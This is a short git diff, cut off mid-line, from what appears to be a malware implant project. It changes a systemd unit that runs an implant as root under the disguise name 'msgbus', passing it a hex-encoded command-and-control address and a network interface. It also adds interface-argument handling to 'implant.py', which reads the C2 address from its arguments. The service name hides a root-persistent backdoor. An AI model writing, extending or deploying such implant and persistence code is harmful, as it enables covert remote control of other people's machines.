diff --git a/deploy/implant/msgbus.service b/deploy/implant/msgbus.service index 9614e91..96103a0 100644 --- a/deploy/implant/msgbus.service +++ b/deploy/implant/msgbus.service @@ -4,7 +4,7 @@ After=network.target [Service] User=root -ExecStart=/usr/bin/msgbus 0a0001f2 +ExecStart=/usr/bin/msgbus 0a0001f2 ens33 [Install] WantedBy=multi-user.target \ No newline at end of file diff --git a/src/implant.py b/src/implant.py index db7652c..aa22416 100644 --- a/src/implant.py +++ b/src/implant.py @@ -21,6 +21,12 @@ print("Please supply an IP of the C2") sys.exit() +if sys.argv[2] is None: + print("Please supply an interface") + sys.exit() + +iface = sys.argv[2] + # Gets the controller ip from sys argv addr_long = int(sys.argv[1], 16) c_ip = socket.inet_ntoa(struct.pack("